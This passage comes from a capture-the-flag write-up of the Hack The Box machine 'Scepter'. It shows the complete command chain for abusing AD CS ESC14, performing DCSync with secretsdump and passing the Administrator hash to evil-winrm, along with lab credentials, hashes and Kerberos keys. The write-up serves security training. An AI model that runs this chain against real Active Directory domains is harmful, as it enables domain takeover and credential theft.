This user is part of Replication Operators group and is able to perform a DCSync attack over the domain, which would allow us to obtain the NT hash for Administrator user if we impersonate it. Therefore, p.adams is our juicy target now.

As a brew parenthesis, we can upload Get-AltSecIDMapping.ps1 to obtain altSecurityIdentities for users in the domain (as we have done with ldapsearch) from Windows and get:

*Evil-WinRM* PS C:\Users\h.brown\Documents> Get-AltSecIDMapping -SearchBase "CN=Users,DC=SCEPTER,DC=HTB"

CN=h.brown,CN=Users,DC=scepter,DC=htb
X509:<RFC822>h.brown@scepter.htb

We need to add the property altSecurityIdentities with value X509:<RFC822>p.adams@scepter.htb for p.adams user. Why? Because we can abuse again StaffAccessCertificate template with ESC14 to request a .pfx file that will allow us to authenticate as p.adams, just as we did for h.brown.

Using bloodyAD we can set the attribute altSecurityIdentities with value X509:<RFC822>p.adams@scepter.htb for p.adams user. In this way, this user will be vulnerable to ESC14 as h.brown was:

❯ KRB5CCNAME=h.brown.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -k -d scepter.htb --host dc01.scepter.htb set object p.adams altSecurityIdentities -v "X509:<RFC822>p.adams@scepter.htb"

[+] p.adams's altSecurityIdentities has been updated

and checking again with ldapsearch, we can see that p.adams now has altSecurityIdentities attribute added:

❯ ldapsearch -x -H ldap://10.10.11.65 -D 'a.carter@scepter.htb' -w 'GunZf0x123!$' -b "DC=scepter,DC=htb" | grep altSecurityIdentities -C 5

logonCount: 4
sAMAccountName: h.brown
sAMAccountType: 805306368
userPrincipalName: h.brown@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
dSCorePropagationData: 20241101040716.0Z
dSCorePropagationData: 16010101000001.0Z
lastLogonTimestamp: 133900325018294214
msDS-SupportedEncryptionTypes: 0

--
logonCount: 1
sAMAccountName: p.adams
sAMAccountType: 805306368
userPrincipalName: p.adams@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>p.adams@scepter.htb
dSCorePropagationData: 20241102220819.0Z
dSCorePropagationData: 20241102220724.0Z
dSCorePropagationData: 20241102110103.0Z
dSCorePropagationData: 20241102074805.0Z
dSCorePropagationData: 16010101000001.0Z

This means that now we can request a ticket for p.adams setting the email for d.baker to p.adams. First of all, in a oneliner restore the GenericAll attribute to d.baker user for Staff Access Certificate OU, since there is a task restoring it to its original values:

❯ impacket-changepasswd scepter.htb/a.carter@10.10.11.65 -newpass 'GunZf0x123!$' -altuser 'd.baker' -althash '18b5fb0d99e7a475316213c15b6f22ce' -no-pass -reset && faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -d scepter.htb -u a.carter -p 'GunZf0x123!$' --host dc01.scepter.htb --dc-ip 10.10.11.65 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" d.baker

<SNIP>

Then, abuse ESC14 changing the email of d.baker user to p.adams as we did before:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" bloodyAD -u d.baker -p ':18b5fb0d99e7a475316213c15b6f22ce' --host 10.10.11.65 -d scepter.htb set object d.baker mail -v p.adams@scepter.htb

[+] d.baker's mail has been updated

Request a new .pfx file that will be used to impersonate p.adams using StaffAccessCertificate template:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy req -u d.baker -hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate' -dc-ip 10.10.11.65 -target dc01.scepter.htb -out new_d.baker

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 8
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'new_d.baker.pfx'

and use that new file to request the NTLM hash and a Ticket Granting Ticket (TGT) for p.adams user with Certipy:

❯ faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" certipy auth -pfx new_d.baker.pfx -dc-ip 10.10.11.65 -username 'p.adams' -domain 'scepter.htb'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: p.adams@scepter.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0

Since p.adams was allowed to perform a DCSync attack, we can use secretsdump.py|impacket-secretsdump -using the generated Ticket Granting Ticket|TGT for p.adams to authenticate with Kerberos- to request the NT hash for Administrator user:

❯ KRB5CCNAME=p.adams.ccache faketime "$(ntpdate -q DC01.scepter.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass DC01.scepter.htb -just-dc-user Administrator

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a291ead3493f9773dc615e66c2ea21c4:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:cc5d676d45f8287aef2f1abcd65213d9575c86c54c9b1977935983e28348bcd5
Administrator:aes128-cts-hmac-sha1-96:bb557b22bad08c219ce7425f2fe0b70c
Administrator:des-cbc-md5:f79d45bf688aa238
[*] Cleaning up...

Finally, use that NT hash log into the victim machine using evil-winrm:

❯ evil-winrm -i DC01.scepter.htb -u Administrator -H 'a291ead3493f9773dc615e66c2ea21c4'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

scepter\administrator

GG. We can grab the root.txt flag at Administrator’s Desktop.

~Happy Hacking.